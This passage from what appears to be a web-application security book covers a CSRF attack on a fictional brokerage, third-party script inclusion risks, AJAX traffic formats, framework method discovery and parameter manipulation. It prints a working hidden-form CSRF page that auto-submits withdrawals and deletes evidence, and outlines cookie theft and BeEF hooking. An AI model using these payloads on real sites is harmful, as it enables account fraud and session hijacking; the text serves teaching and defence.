<!-- Next we submit a request to transfer $5000.00 to the new checking 

account. This request generally takes two submissions by the user, but since 

the second submission only changes the "Confirm" field, we can skip the 

first POST. -->

<form style="display: none; visibility: hidden" target="attackIframe2" 

action="https://www.badstockbroker.com/account/withdraw.jsp" method="POST" 

name="attackForm2">

    <input type=hidden name="Action" value="Withdraw">

    <input type=hidden name="AcctIndex" value="2">

    <input type=hidden name="Amount" value="5000.00">

    <input type=hidden name="Confirm" value="Yes">

  </form>

<!-- Next we submit a request to transfer $5000.00 to the new checking 

account. This request generally takes two submissions by the user, but since 

the second submission only changes the "Confirm" field, we can skip the 

first POST. -->

<form style="display: none; visibility: hidden" target="attackIframe3" 

action="https://www.badstockbroker.com/account/withdraw.jsp" method="POST" 

name="attackForm3">

    <input type=hidden name="Action" value="Withdraw">

    <input type=hidden name="AcctIndex" value="2">

    <input type=hidden name="Amount" value="5000.00">

    <input type=hidden name="Confirm" value="Yes">

  </form>

<!-- Now we delete that new account to cover our tracks. -->

<form style="display: none; visibility: hidden" target="attackIframe1" 

action="https://www.badstockbroker.com/account/associateAccts.jsp"

method="POST" name="attackForm1">
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    <input type=hidden name="Action" value="DelAccount">

    <input type=hidden name="BankName" value="Hacker Bank">

    <input type=hidden name="RoutingNumber" value="55443297543">

    <input type=hidden name="AcctNumber" value="55447733">

    <input type=hidden name="AcctIndex" value="2">

  </form>

<!-- Submit the three forms with a two second timeout between actions.  --> 

  <script>

    document.attackForm1.submit();

    setTimeout('document.attackForm2.submit();', 2000); 

    setTimeout('document.attackForm3.submit();', 2000);

</script>

</body>

</html>

During the first four seconds that Vic reads this page, the JavaScript contained on the 
page puts together three HTML forms and submits them to BadStockBroker.com. These 
forms perform three actions, to which the browser automatically attaches Vic’s session 
cookie. This cookie, while not persistent across browsing sessions, is valid during Vic’s 
browsing session due to his use of his AJAX stock ticker. These requests do the follow-
ing things to Vic’s account, as Vic, in this order:

 1. Add the attacker’s bank account as a possible transfer point to Vic’s brokerage 
account.

 2. Transfer $5000 of Vic’s money into the new checking account.

 3. Delete the new checking account.

Upon receiving his monthly statement a couple of weeks later, Vic notices this unau-
thorized withdrawal, although he has no idea how or why this happened. He calls Bad-
StockBroker’s customer service line to report the transaction and is transferred to the 
fraud department. Upon hearing Vic’s story, which lacks any details on how the incident 
may have occurred, the fraud department pulls its records of transactions made by Vic’s 
account, finding that the transaction was made from Vic’s IP address, using a cookie 
received by a legitimate login, and interspersed with transactions Vic admits were his. 
Not understanding the CSRF flaws on the company’s web site, the fraud department 
contacts law enforcement and the ensuing investigation focuses on Vic as the prime 
suspect in defrauding BadStockBroker.com. Needless to say, Vic finds it an uphill battle 
to get his money back.

Security Boundaries
Security boundary is a term often used by security professionals. The idea of boundaries 
is to separate security silos for networks or applications. For example, an application 
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with sensitive private client information would have a strong security boundary around 
it, protecting it from other unauthorized applications or services. Unfortunately in the 
Web 2.0 world, applications are built in a way that makes traditional boundaries less 
meaningful. A web page with third-party–hosted advertisement or user tracking is an 
example of content belonging to another organization but used on a different organiza-
tion’s web page. With inputs from different applications, a given security boundary dis-
appears. A web application that depends on content from many security boundaries is 
only as strong as the weakest link. If my intranet web application includes third-party 
scripts that are hosted outside my network, then external network attackers could gain 
access to my intranet application by modifying scripts my browser loads into the for-
merly cozy security boundary of our intranet.

Following is an example of a common type of web application vulnerability that 
extends the security boundary of a site to be across multiple domains. These types of 
boundary extensions should be permitted only when there is a good business case and 
developers are intentionally accepting this risk. Often these boundary extensions are 
done without justification or consideration of the security impact.

Web pages are usually constructed from multiple files such as these:

• .html fi les that contain HTML content or framesets

• .js fi les fi lled with scripts used in rendering the page

• .gif, .png, and .jpg fi les for images

• .css fi les fi lled with style sheets

When a single web page is written, it references other resources for the browser to 
include when rendering it—for example, table layout and style information, images, and 
scripts to activate animations, perform calculations, or display advertisements. 
Advertisements are often written by third parties and they are often hosted on third-
party sites, some of which have a dubious reputation and are not trusted by reasonable 
users. A sample bit of page content that provides for ad inclusion might look like this:

<script language="JavaScript" src="http://Example. 

AD_COMPANY.COM/adj/somesite/news/natworld/nation;ptype=s;

slug=lanausattys13mar13;rg=ur;ref=fooflecom;pos=left2;

sz=120x60;tile=3;ord=45113127?" type="text/javascript">

</script>

The pervious code loads a script from the ad company’s site into the context of the 
currently rendering page. Like any script loaded into the browser, the advertisement has 
access to the full content of the page as if it were loaded from the server currently being 
accessed. This includes access to the following:

• The cookies in this page, their values, and the ability to set them

• The content of this page, including any cross-site request forgery (CSRF) 
protection tokens in use
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• The contents of other pages on the site serving this advertisement, even if they 
are on the viewer’s intranet, protected with client certifi cates, or locked down 
by IP address; this might include personal information about the user, account 
details, message contents, and so on

Web applications that include scripts from third-party domains give the code hosted 
on that domain access to the user’s formerly private view of the web site. This may allow 
advertisers or those who control their servers to peek at a customer’s financial data on 
their bank’s web site.

Another risk of including third-party scripts is the danger that those scripts will be 
compromised by a party even more malicious than adverting companies. An otherwise 
secure banking platform can be compromised if it included of scripts from a compromised 
site. Remember that scripts can be used to monitor keypress events or rewrite form 
controls; attackers may be able to log the keystrokes of users for passwords, credit card 
numbers, or other personal information.

To make matters worse, a few of the companies we trust to provide Secure Sockets 
Layer (SSL) security certificates often encourage their clients to put nice logos (such as 
images) on their sites. These logos attempt to assure users that the site is using a reputable 
vendor for its SSL certificate and therefore users should feel secure. For whatever reason, 
the certificate organizations often want to provide sites with a script to include rather 
than just a simple image, which would have far less impact on the security boundary of 
the application. Here’s an example:

<script

src="https://seal.verisign.com/getseal?host_name=www.webapplogin

.com&amp;size=S&amp;use_flash=NO&amp;use_transparent=NO&amp;

lang=en"></script>

This creates a familiar seal:

Or it adds the following:

<script

src="https://siteseal.thawte.com/cgi/server/thawte_seal_generator

.exe"></script>

This generates this graphic: 
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Note that both of the scripts could appear in SSL-protected pages without raising 
mixed content warnings for users. If an attacker compromises the web servers that serve 
these scripts, the attacker could also compromise all the users visiting the sites where the 
scripts are included. No need to compromise the fancy public key infrastructure (PKI) or 
break any SSL—a simple web server bug is a privacy disaster for every user of affected 
sites. Recall that some web server software has a patchy history. This violates the secu-
rity principal of defense in depth, creates an obvious single point of failure, and reduces 
security to the lowest common denominator for users. 

Now instead of considering a security-savvy SSL certificate authority, what if the 
script inclusion was from an online ad agency? How good would you feel about lower-
ing your application security to the lesser of their or your protection? As advertisements 
are often a web site’s primary source of revenue, this is often a much more compelling 
business case. Adding images to make the uneducated feel a little better about the qual-
ity of your SSL certificates is probably a bad security tradeoff unless you target a very 
unusual demographic.

Another dangerous practice is inclusion of scripts for analyzing web site traffic. In-
stead of just loading static content from the traffic analysis site, with the old counter-im-
age trick, some sites load scripts that enable more sophisticated analysis. This analysis is 
achieved at the cost of trusting the analysis organization with the user’s session. Here is 
an example inclusion:

<script src="https://ssl.google-analytics.com/urchin.js" 

type="text/javascript">

The inclusion of this “urchin” module allows Google to track user behavior on what-
ever site hosts this code. While Google is certainly a trusted organization, the supposed 
tracker here may not be who users believe they are trusting when they enter their credit 
card or personal health information into applications, especially when SSL is used on a 
domain other than Google’s. Do you really think you made a good faith effort to protect 
user’s personal information if the pages that collect that information rely on Google’s 
good reputation for not including hostile scripts? How would your customers feel if they 
could figure it out? Patient privacy advocates should check out the NoScript plug-in for 
FireFox, which provides selective allowance of domains for script execution.

Assuming the connections are all SSL protected, exploiting any of these inclusions 
requires compromising the server from that the inclusions are sent (of course, non-SSL 
protected HTTP connections have no privacy, integrity, or source guarantees).

The examples shown in this case study are probably difficult to compromise. Even 
though these companies may have risky inclusion practices, they also have good 
reputations for protecting their own infrastructures, but nobody is perfect. Less savvy 
organizations such as those that have not invested in the security of their web products 
may be frequently exposing users to harmful attackers.
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For example, this attack from a compromised third-party site supplied information 
to other sites, such as news pages. (For these examples, the vulnerable site is the site that 
makes the mistake of including a script from some host compromised by the attacker.)

 1. An attacker creates a script that sends the victim’s cookie used on the 
vulnerable site (and the name of that site) to the attacker. This would allow the 
attacker to hijack the victim’s session.

 2. The attacker then loads the Browser Exploitation Framework (BeEF at www
.bindshell.net/tools/beef/, into the victim’s browser as if it were being 
included from the vulnerable site. This would allow for more fl exible, real-time 
exploitation of victims, even on sites with the HTTPOnly cookie fl ag.

 3. The attacker can then target information from the victim as the victim browses 
any particular site. Using the victim’s active session as well as the script’s 
access to the content would allow the attacker to eavesdrop and compromise all 
the information he or she wants. 

In the Web 2.0 era, the Internet is not solely a collection of networks that are con-
nected together, but also a collection of applications that are also connected. Security is-
sues from one application that is used to supply content to 30 other applications, which 
are then used by 200 additional applications, creates a web of security issues from a few 
single points of failure. Security professionals need to identify, justify, and minimize 
cross-domain script inclusion to avoid undercutting the security of their applications by 
eliminating or weakening important security barriers.

www.bindshell.net/tools/beef/
www.bindshell.net/tools/beef/
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Successful attacks against web applications involve a number of steps. Before any 
 such attacks can begin, an attacker needs to enumerate the targeted application. 
 When targeting an Asynchronous JavaScript and XML (AJAX) application, an at-

tacker needs to enumerate the type of AJAX application and how the application interacts 
with its users on the wire. Next, an attacker will determine what AJAX frameworks are in 
use by the target and what methods the application exposes to its users. An attacker will 
then analyze the application in depth for any methods that appear unintentionally ex-
posed or any parameters that a developer did not expect to be tampered with. Finally, an 
attacker will analyze the cookies generated for predictability or insecure flags.

TYPES OF AJAX
Despite the overwhelming number of AJAX frameworks and toolkits, AJAX implementa-
tions fall into two general categories: client-server proxy and client-side rendering. These 
two types are often easily discernable by an attacker. Once identified, each will offer the 
attacker two very different amounts of attack surfaces to begin analyzing.

Client-Server Proxy
Client-server proxy is sometimes also known as client/SOA. Client-server proxy 
applications have two main determining factors: they rarely require a full page reload 
during usage, and session state is mostly handled by the client. Due to the lack of full 
page reloads, the client-server proxy style of AJAX applications is often described as 
“wrapping an AJAX GUI around a web service.”

In the proxy style of AJAX application, the JavaScript that will be executed in a cli-
ent’s web browser can be generated in two ways. The first way is for the JavaScript 
methods to be prerendered on the server and then sent down to the client. These meth-
ods are generally named the same or quite similar to methods on the server. When the 
client receives the JavaScript methods from the server, the methods are simply plugged 
into an eval() and executed. The other style generating the JavaScript is for the server 
to send down a chunk of JavaScript to the client, which, once executed, is able to gener-
ate new JavaScript methods on the fly. This JavaScript generates methods on the fly by 
reading a list of methods defined by the server in a file such as a Web Services Descrip-
tion Language (WSDL) file. In practice, the prerendered style of generating JavaScript is 
more commonly seen in real-world AJAX applications, while on-the-fly generation is 
usually seen only with web applications that use Simple Object Access Protocol 
(SOAP).

Despite the number of different client-server proxy frameworks in existence, the steps 
involved with creating a proxy style AJAX web application are generally the same:

 1. The framework looks at server-side code, such as a Java web application, where 
certain methods are tagged as public.

 2. The framework is told which of these functions are to be exposed to clients. 
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 3. Framework code then automatically goes through and tags these methods and 
generates a JavaScript proxy that puts methods, often of the same name, into 
the web browser.

 4. Then, whenever the client makes a method call in JavaScript, the call is passed 
on to the JavaScript proxy and then on to the actual method being called.

This allows for easy abstraction, for example, if one development team is working on 
the actual application and another team is working on web design. The web design team 
can simply be handed a file of JavaScript methods that can be called to perform work 
when needed, without having to interact with the behind-the-scenes Java application. A 
client-server proxy style application such as this requires the client to contain all of the 
available methods, because, due to the asynchronous nature of AJAX, any method can be 
called at any time. For this reason, a client-server proxy style AJAX implementation is 
quite interesting and useful from an attacker’s perspective. 

Client-Side Rendering
Client-side rending applications have two main determining factors: they still require 
fairly frequent page reloads during usage, and session state is stored on the server. These 
AJAX frameworks are occasionally referred to as “HTML++ frameworks” as they are far 
more focused on producing visual effects on the client. Due to their primary focus on vi-
sual effects, they often generate their JavaScript in such a way that it is not expected that 
the developer will muck around with it once it has been generated. Since it is assumed by 
the toolkit that developers will not be changing any of the generated JavaScript, the script 
will often be obfuscated into a form that makes it much more difficult for a human to read. 
Because of this, method discovery against a client-side rendering framework is often very 
difficult. In addition to the complexity of method discovery, client-side rendering applica-
tions focus primarily on simply producing visual effects, which makes client-server proxy 
style AJAX applications far more interesting for attackers.

AJAX ON THE WIRE
Looking at a traditional Web 1.0 application on the wire was typically a boring exercise. 
One would generally see a large chunk of HTML come down from the server, followed 
by a few images and perhaps a little bit of JavaScript glue for menus. In AJAX applica-
tions, this ratio has changed significantly. While large chunks of HTML and a large num-
ber of images are still included, the amount of JavaScript sent down by the server has 
grown by leaps and bounds. Gone are the days where JavaScript is used simply as a glue 
to hold together a small static part of the application, such as a drop-down menu—
JavaScript is now the bulk of the application itself. 

This has genuinely changed how an application looks on the wire, because an AJAX 
application, unlike a traditional Web1.0 application, is not restricted to sending data in 
the name-value pair format of an HTTP POST. With the freedom of the XMLHttp
Request object, an application may communicate with the server in any format it chooses. 
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In an amusing case of misdirected naming, this means that Asynchronous JavaScript and 
XML applications may be written involving neither JavaScript nor XML.

From an attacker’s perspective, it is key to understand what technologies are being 
used to send data upstream and downstream on the wire to attack an application suc-
cessfully. For example, if the attacker is attempting to perform a cross-site scripting (XSS) 
attack, the difference between traffic being sent to the client in an name-value format 
versus a JavaScript Object Notation (JSON) format can significantly change how the 
attack will need to be performed. Luckily for an attacker, while some applications com-
municate in their own proprietary format, a large percentage of AJAX applications use 
one of the following technologies in their downstream or upstream communication.

Downstream Traffi c
The communication sent from the server to the client is referred to as downstream traffic.
While the majority of traffic sent downstream will be HTML and images, the traffic con-
taining results from when the client calls a method on the server is useful for an attacker 
to learn how to perform an attack against the application. The results can be sent in any 
format, but they are often sent in one of the several formats described here.

XML
In traditional AJAX applications, the technology of choice for downstream data was 
XML because of the XML parsing capability built into the browser. Recently, however, 
usage of XML as a downstream option has dropped off significantly as it is quite often a 
heavy structure for simple data. For example, in the case of a server merely sending 
down an integer result to the client, a fully formatted XML message would have to be 
constructed, which would result in a large amount of superfluous data being sent to the 
client. Following is an example of a client calling a zip code lookup method on the server, 
with the server returning data in an XML format. Here’s the client request:

GET http://www.example.com/zipcode_lookup.jsp?city=seattle

And here’s the server response:

<zipcodes city="Seattle">

<zipcode>98101</zipcode>

<zipcode>98102</zipcode>

</zipcodes>

Full JavaScript
Another technology from early AJAX applications is to send full JavaScript down to the 
client. In almost all cases, the client then wraps the JavaScript sent from the server di-
rectly into an eval(), which immediately executes the code. This option can often be 
the attacker’s best friend, as any code an attacker manages to inject will be immediately 
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eval()’ed. Here’s an example of a client calling a zip code lookup method on the server, 
with the server returning full JavaScript, which will be executed in an eval() on the 
client request. Here’s the client’s request:

GET http://www.example.com/zipcode_lookup.jsp?city=seattle 

And here’s the server response:

for( var i=0; i < keys.length; i++ ) {

var e = document.getElementsByName( keys[i][0] );

for ( j=0;j < e.length; j++ ) {

e[j].value = keys[i][1];}}

JavaScript Arrays
Similar to the server passing back full JavaScript, the server may also pass back data in 
the form of JavaScript arrays. In this case, the arrays full of data are passed back to the 
client, which then eval()s them. Existing JavaScript on the client then notices that the 
data in the arrays has changed, and refreshes the DOM with the new data. Following is 
an example of a client calling a zip code lookup method on the server, with the server 
returning JavaScript arrays which will be executed in an eval() on the client. Here is 
the client request:

GET http://www.example.com/zipcode_lookup.jsp?city=seattle

And here is the server response:

var zipcodes = ["98101", "98102"];

JSON
Often billed as the “lightweight alternative” to using XML, JavaScript Object Notation 
(JSON) is used by a large number of AJAX applications. Despite an odd look, JSON is 
actually raw JavaScript that is equivalent to JavaScript arrays. If a JSON response is 
directly eval()’ed, it will instantiate new arrays containing the specified data that 
existing JavaScript on the client can use to refresh the DOM. Following is an example of 
a client calling a zip code lookup method on the server, with the server returning JSON, 
which will be executed in an eval() on the client. Note how in this example JSON is 
significantly smaller than the same result in full XML. Here is the client request:

GET http://www.example.com/zipcode_lookup.jsp?city=seattle

And here is the server response: 

"zipcodes" : [ "98101", "98102" ]
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Custom Serialization
AJAX toolkits are also free to use their own custom serialization format. This is because 
the XMLHTTPRequest object allows developers to send data in any way they choose. 
These formats vary wildly in how they look on the wire. Following is an example of a 
client calling a zip code lookup method on the server with ASP.NET AJAX and the serv-
er returning results in custom serialization. Here is the client request:

GET http://www.example.com/zipcode_lookup.jsp?city=seattle

Here is the server response:

{"Zipcodes":{"Zipcode1":"98101", "Zipcode2":"98102"}}

The next example shows a client calling a zip code lookup method on the server with 
Google Web Toolkit with the server returning results custom serialization. Here is the 
client request:

GET http://www.example.com/zipcode_lookup.jsp?city=seattle

Here is the server response:

{OK}["98101","98102"]

Upstream Traffi c
The communication sent from the client to the server is referred to as upstream traffic. While 
the downstream traffic formats result from calling a method on the server, upstream traffic 
is concerned with what formats clients use to perform calls of methods on the server. 
Several common types of upstream traffic are detailed in the following.

HTTP GET
The most simplistic of upstream options, HTTP GETs have been used by developers since 
the beginning of web applications and are still often used in a number of AJAX applica-
tions. They are commonly found when developers want to use an easy and extremely 
lightweight way to change state on the server. While there is nothing technically different 
about using an HTTP GET in an AJAX application, the fact that they can now occur in the 
background without being displayed to the user can cause a significant security impact. 
As is often the case of easy-to-use functionality, HTTP GETs can lead to serious security 
issues such as cross-site request forgery and cross-site scripting. An example of a very 
basic HTTP GET to set the variable var on the server to value 1 is shown here:

GET http://www.example.com/site.jsp?var=1

HTTP Form POST
Much like HTTP GETs, HTTP Form POSTs are the traditional method of making calls to 
methods on the server and changing state. Even though the XMLHttpRequest object 
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offers the ability to send upstream traffic in any format, a number of AJAX frameworks 
such as Direct Web Remoting still utilize name-value pairs. Here’s an example of a client 
using an HTTP Form POST using traditional name-value pairs to call a method on a 
server. In this example, the client is calling the getMessages method in the script Chat.

callCount=1

c0-scriptName=Chat

c0-methodName=getMessages

c0-id=818_1151685522576

xml=true

JavaScript Arrays and JSON
JavaScript Arrays or JSON may also be used as an upstream protocol. Either one of these 
is often used in a situation where the web application has a built-in serialization function. 
Whenever a downstream or upstream request is going to be made, it is passed to the 
serialization function, which either converts it to JavaScript arrays or JSON and then 
forwards it on to the server or client. An example of a client using JavaScript arrays to 
call a method on the server is shown next. In this example, the client is calling method 
exampleMethod with the arguments arg1 and arg2.

var rpc = ["exampleMethod", "arg1", "arg2"];

Here’s an example of a client using JSON to call a method on the server. In this 
example, the client is calling method exampleMethod with the arguments arg1 and 
arg2.

"exampleMethod" : [ "arg1", "arg2" ]

SOAP
In rare cases, SOAP may be used as an upstream protocol in an AJAX application and is 
supported by AJAX frameworks such as AJAXEngine. This is usually seen only in 
intranet environments where the bandwidth needed for pushing a large JavaScript file 
that implements a SOAP stack is not an issue. For example, this may be used to build an 
AJAX GUI in front of an existing web services. Here’s an example of a client using SOAP 
to call a method on the server. In this example, the client is calling the method 
exampleMethod with the argument 42.

  <?xml version="1.0" encoding="UTF-8" ?>

  <SOAP-ENV:Envelope

   xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

   xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"

   xmlns:xsd="http://www.w3.org/1999/XMLSchema">
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     <SOAP-ENV:Body>

           <ns1:exampleMethod

            xmlns:ns1="urn:ExampleSoapServices"

            SOAP-ENV encodingStyle="http://schemas.xmlsoap.org/soap/

encoding/">

                <return xsi:type="xsd:int">42</return>

           </ns1:exampleMethod>

      </SOAP-ENV:Body>

  </SOAP-ENV:Envelope>

XML
Usage of XML as an upstream protocol in AJAX applications has often been supplanted 
in AJAX applications. Its replacement has largely been due to the fact that, like usage of 
XML as a downstream protocol, XML is often too verbose. Of the cases where it is still 
seen, it is often used in front of a REST web service. Following is an example of a client 
using XML to call a method on the server. In this example, the client is calling the method 
exampleMethod with the argument 42.

<call method="exampleMethod">

<arg1>42</arg1>

</call>

Custom Serialization
Similar to custom downstream serialization, a number of AJAX toolkits provide their 
own custom upstream serialization. Like their downstream counterparts, these formats 
vary widely from toolkit to toolkit. The following example shows a client using the 
Google Web Toolkit (GWT) custom serialization to call a method on the server. In this 
example, the client is calling the method getPeople. Note how the extensive display of 
question marks in the example shows the number unprintable characters used in GWTs 
custom serialization. 

1?0?4?java.lang.String/2004016611?com.google.gwt.sample.dynatable

.client.SchoolCalendar

Service?getPeople?I?+0?1?+0?2?2?+0?3?+0?3?0?15?

AJAX Toolkit Wrap-Up
AJAX has significantly changed the ways in which applications appear on the wire. Web 
applications are no longer bound to set formats such as name-value pairs or HTML for 
communicating with clients. A successful attacker must now be concerned with 
understanding both the downstream and upstream ways a client communicates with a 
target application, as this will affect the outcome of any potential attack. 
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FRAMEWORK METHOD DISCOVERY
Before an attacker can attack a web application, he must discover what publicly available 
methods the web application exposes. Once the attacker obtains a full list of the methods 
an application exposes, targeted attacks against the application can begin.

In the Web 1.0 world, this process was often long and error-prone. This was because 
to fully map the methods exposed by the application, every corner of the application had 
to be explored. User accounts had to be created at each access level, and every combina-
tion of form had to be submitted. Once this was complete, an attacker had to analyze 
traffic captures of all these activities and choose the functions out of the logs. This is why 
web application vulnerability scanners have typically been complex and expensive piec-
es of software; they must simulate a human clicking through each area of the application 
before a full list of methods can be acquired and comprehensive attacks can begin.

In the Web 2.0 world, this process is often greatly simplified. Whereas Web 1.0 ap-
plications were generally quite sequential and controlled, AJAX applications have the 
ability to send requests at any time and in any order. Due to this fact, the client needs to 
know all of the server functionality up front. This often means a large chunk of JavaS-
cript is sent to the client during the initial few requests, which describes all the methods 
that the server exposes. If an application sends down a JavaScript file with a list of all 
exposed methods, method discovery can be reduced from hours to minutes.

The actual process of method discovery in an AJAX application varies on a case-
by-case and framework-by-framework basis. However, lessons learned from performing 
method discovery against one framework generally teach the attacker how to perform 
method discovery against any other framework. An analysis of framework identification 
and method discovery against five popular frameworks is provided in the following sec-
tions. Additionally, a step-by-step example is provided to walk through the framework 
identification and method discovery process using the free WebScarab utility.

Microsoft ASP.NET AJAX (Microsoft Atlas)
Formerly called Atlas, ASP.NET AJAX is Microsoft’s official AJAX framework. It inte-
grates with Visual Studio to allow developers to create new AJAX web applications. 
Method discovery against an application using the Atlas framework requires analyzing 
several files. Every instance of the WebResource.axd file should be analyzed for potential 
methods, as well as any JavaScript file that is sent to the client upon the initial connec-
tion. Methods seen in WebResource.axd are in a human readable format, while methods 
defined in any other JavaScript file will vary on a site-by-site basis.

Microsoft ASP.NET AJAX is a proxy style AJAX framework. To identify its use, the 
client is served WebResource.axd. This file can contain JavaScript (and often still includes 
the source code comments), indicating that it contains the required files Atlas.js or 
MicrosoftAtlas.js. Here’s an example:

// Atlas.js

// Atlas Framework.

You can download ASP.NET AJAX at http://ajax.asp.net/Default.aspx

http://ajax.asp.net/Default.aspx
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Google Web Toolkit
Google Web Toolkit (GWT) is a unique sort of proxy framework. Instead of acting as a 
proxy between an existing application and the client, GWT compiles an existing Java 
application into JavaScript. It is because of this compilation process that method discovery 
in GWT applications is uniquely difficult. Methods are sent to the client with a filename 
in this format: 32 letters/numbers.cache.html. Here’s an example filename: 

9B5996A7A61FA7AB0B780C54253DE830.cache.html.

This file is composed entirely of JavaScript that GWT compiled from the Java appli-
cation. Methods are often named a series of two- to three-character obfuscated names 
such as qe, xrb, and the like. Methods can thus be discovered by analyzing the data 
contained in a .cache.htm; however, method discovery against an application using GWT 
remains significantly more challenging than discovery against any other framework.

The client will be served gwt.js. This file will contain required GWT methods and 
generally begins with the following JavaScript:

function DynamicResources() {

  this.pendingElemsBySrc_ = {};

  this.pendingScriptElems_ = new Array();

}

DynamicResources.prototype = {};

GWT is available at http://code.google.com/webtoolkit/.

Direct Web Remoting 
Direct Web Remoting (DWR) is a true proxy AJAX framework. It works with existing 
Java applications by functioning as a middleware servlet. Once installed, DWR is added 
to the Java application’s directory, and an XML file defining which methods should be 
exposed is created by the developer. JavaScript methods are then compiled and point to 
these functions. Finally, these JavaScript methods are sent to the client where they can be 
called at any time. 

Discovering DWR is generally quite easy. When a JavaScript file is served from the 
/dwr/ directory of an application it will contain a list of methods in a human-readable 
form. For example, if www.example.com uses DWR, a client will see JavaScript files 
from www.example.com/dwr/ when first connecting to www.example.com.

DWR is available from http://getahead.ltd.uk/dwr.

XAJAX
XAJAX is a proxy framework for PHP. XAJAX works in the traditional proxy fashion, 
with the developer defining which methods are to be exported and then the framework 
compiling JavaScript stubs of these methods, which can be called by the client. Methods 

http://getahead.ltd.uk/dwr
http://code.google.com/webtoolkit/
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in XAJAX are usually defined in the first PHP page of the application and are in human-
readable form, making method discovery in XAJAX generally quite easy. For example, 
the methods for an application would generally be defined in www.example.com/
application/index.php.

When XAJAX is used, the client will be served xajax.js. This file contains required 
XAJAX methods and by default begins with the following JavaScript:

function Xajax()

{

      if (xajaxDebug) this.DebugMessage = function(text) 

{ alert("Xajax Debug:\n " + text) };

      this.workId = 'xajaxWork'+ new Date().getTime();

      this.depth = 0;

XAJAX is available at www.xajaxproject.org.

SAJAX
SAJAX is a proxy framework that, while similar sounding to XAJAX, supports multiple 
technologies such as ASP, Cold Fusion, Io, Lua, Perl, PHP, Python, and Ruby. SAJAX also 
works in traditional proxy fashion, with the developer defining which methods are to be 
exported and then the framework compiling JavaScript stubs of these methods, which 
can be called by the client. Method discovery in SAJAX can be a slightly tricky task, as 
methods are not defined in a standard file. However, methods exposed by SAJAX will be 
proceeded by x_. For example, if a method named foobar in the web application is ex-
posed by SAJAX, it will be called x_foobar. Typically, the file containing a list of method 
definitions is the first page requested of the application. For example, if it is an ASP ap-
plication, the methods would typically be defined in www.example.com/application/
index.asp.

SAJAX can be a difficult framework to identify due to its lack of standard file 
inclusion. Instead of looking for a sajax.js or other such identifying file, you need to 
search through the initial pages returned from an application for script common to the 
SAJAX framework. An example of such script is shown here:

// remote scripting library

// (c) copyright 2005 modernmethod, inc

var sajax_debug_mode = false;

var sajax_request_type = "POST";"

function sajax_init_object() {

SAJAX is available at www.modernmethod.com/sajax/.

www.xajaxproject.org
www.modernmethod.com/sajax/
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Framework Identifi cation/Method Discovery Example 
The following is an example of how to use a browser and proxy combination to identify 
the framework in use by an AJAX application, as well as discover methods it makes 
publicly available.

 1. Install and run an intercepting web proxy, which allows the user to modify 
requests before they are sent to the server as well as responses from the server 
before they are received. In this example, OWASP WebScarab is used as the 
intercepting web proxy (www.owasp.org/index.php/Category:OWASP_
WebScarab_Project). Several other free web proxies are often used and worth 
mentioning, such as Paros (www.parosproxy.org/index.shtml) and BurpProxy 
(www.portswigger.net/proxy). 

 2. Point the web browser at WebScarab, which will be running on the localhost at 
port 8008 by default. See Figure 6-1.

Figure 6-1  The browser confi guration process

www.owasp.org/index.php/Category:OWASP_WebScarab_Project
www.owasp.org/index.php/Category:OWASP_WebScarab_Project
www.parosproxy.org/index.shtml
www.portswigger.net/proxy
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 3. Connect to the target site and look for fi les that can identify the framework in 
use. For example, in the case of DWR, look for URLs containing JavaScript fi les 
being served from a /dwr/. See Figure 6-2.

 4. Once the framework has been identifi ed, perform method discovery by 
opening fi les that likely contain a full list of methods. In this case, the 
JavaScript fi le being served from the /dwr/ directory is the likely choice. 
Sure enough, once the Chat.js fi le is double-clicked and opened, the Chat
.addMessage and Chat.getMessages methods are easily identifi ed by the 
attacker. See Figure 6-3.

Figure 6-2  /dwr/ fi les appear in WebScarab
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Framework Wrap-Up
Method discovery has always been an important first step in attacking web applications. 
While in traditional Web 1.0 applications, method discovery was often a tedious and 
error-prone process, AJAX applications have greatly simplified things for the attacker. 
Method discovery can now typically be performed by looking at a single JavaScript file 
sent from the server to the client. This file is almost always one of the first few files 
served to a client when it connects to the target site. Additionally, the AJAX framework 
in use by a web application is often very easily identified by locating telltale JavaScript 
files. With this change in the way web applications expose their functionality, it is now 
more important than ever that developers ensure that they truly understand what 
information their applications are exposing to potentially hostile clients.

Figure 6-3  Method discovery in WebScarab
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Parameter Manipulation
Popularity: 9

Simplicity: 8

Impact: 8

Risk Rating: 8

Parameter manipulation has been, and will continue to be, a source of constant at-
tacks against web applications. Parameter manipulation attacks do not rely on any par-
ticular technology to exploit, but rather depend on errors in the business logic of the 
application. These attacks typically consist of changing parameters to values that are still 
valid enough to pass filtering checks in the application, but may cause issues later in the 
application.

An amusing illustration of a traditional parameter manipulation attack is the case of 
shopping carts of e-commerce sites in the late 1990s. In these applications, whenever a 
user would select an item she wished to buy, the item would then be added to her 
shopping cart along with the price of the item. The price was stored in a “hidden” form 
field, which was sent by the client along with each request. Developers at the time often 
thought since this field was marked as hidden, the price was hidden from the user. 
Unfortunately for these early e-commerce sites (but fortunately for the $1 large screen 
TV in the author’s dorm room at the time), nothing prevented an attacker from simply 
modifying the hidden price field and setting any desired price on an item. The item 
could then be purchased with the modified price, with the web application and develo-
pers being none the wiser.

Although this simple parameter manipulation attack is no longer seen in online 
e-commerce applications, parameter manipulation attacks are still prevalent, not only in 
today’s Web 1.0 style applications, but in newer AJAX applications as well. This is 
because these attacks are not a specific technical vulnerability, but are rather a flaw in 
the business logic of the application. While the term parameter manipulation is generally 
used as a catchall term, an attacker can perform several different types of parameter 
manipulations.

Hidden Field Manipulation
In hidden field manipulation, an application stores an important value, such as the 
user’s user ID (UID), as a hidden field in the application. Whenever the user performs an 
action, the UID field is passed along with the request and tells the server who the user is 
and what actions the user may perform. However, since this field is not actually hidden 
from a user who wants to attack the application, it may be changed to any value desired. 
Typically, an attacker would use a tool to expose the hidden fields in a form and then 
manipulate the UID value to 0, which is usually the UID of the administrator account. 
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URL Manipulation
Another example of a simple parameter manipulation attack is the case of URL 
manipulation. This attack is similar to the hidden field manipulation attack. In this attack, 
instead of the application storing a sensitive value as a hidden form field, the value is 
passed as an argument in the URL. Using the User ID value again as an example, a 
vulnerable application would appear to an attacker as www.example.com/application
.jsp?uid=12345. The attacker could then manipulate the URL and resubmit it as www
.example.com/application.jsp?uid=0 to gain administrator access. 

Header Manipulation
A more complex form of parameter manipulation is HTTP header manipulation. This 
attack involves modifying headers that are sent by the browser to the application. An 
example of this type of parameter manipulation attack is an application that checks the 
Referer header to verify that a user logged in. In this example, when the user requests a 
protected URL such as www.example.com/protected/index.jsp, the application first checks to 
see if the Referer header shows the user has submitted the request from the login page, 
